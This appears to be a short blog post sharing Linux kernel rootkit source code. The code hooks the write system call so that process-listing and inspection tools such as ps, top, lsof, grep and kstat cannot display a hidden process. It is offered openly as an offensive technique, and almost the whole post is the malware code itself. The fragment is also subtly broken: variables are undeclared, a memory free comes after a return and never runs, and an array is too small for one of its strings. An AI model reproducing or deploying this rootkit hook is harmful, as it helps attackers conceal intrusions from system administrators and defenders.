fresh from the the oven, hijack sys write
anti kstat included
================
static char cmd_pawned_cmd[10][6]={"pgrep","ps","pstree","pmap","grep","lsof","top","ls","dir","kstat"};
asmlinkage unsigned long *ev1lut10n_write(unsigned int fd, const char __user *buf,size_t count)
{
int konter;
old_fs=get_fs();
set_fs(KERNEL_DS);
status=1;
if(strstr(buf,EV1LUT10N_PROC))
{
char *kbuf=(char*)kmalloc(256,GFP_KERNEL);
copy_from_user(kbuf,buf,255);
for(konter=0;konter<10;konter++)
{
printk("\n%s\n",cmd_pawned_cmd[konter]);
if(strstr(current->comm,cmd_pawned_cmd[konter]))
{
if(strstr(kbuf,EV1LUT10N_PROC))
{
status=0;
}
}
}
if(status==0)
{
return (unsigned long *) (-ENOENT);
kfree(kbuf);
}
else
{
kfree(kbuf);
}
}
set_fs(old_fs);
return (unsigned long *) (write_asli) (fd, buf, count);
}
======================
Home »Unlabelled » fresh from the the oven, hijack sys write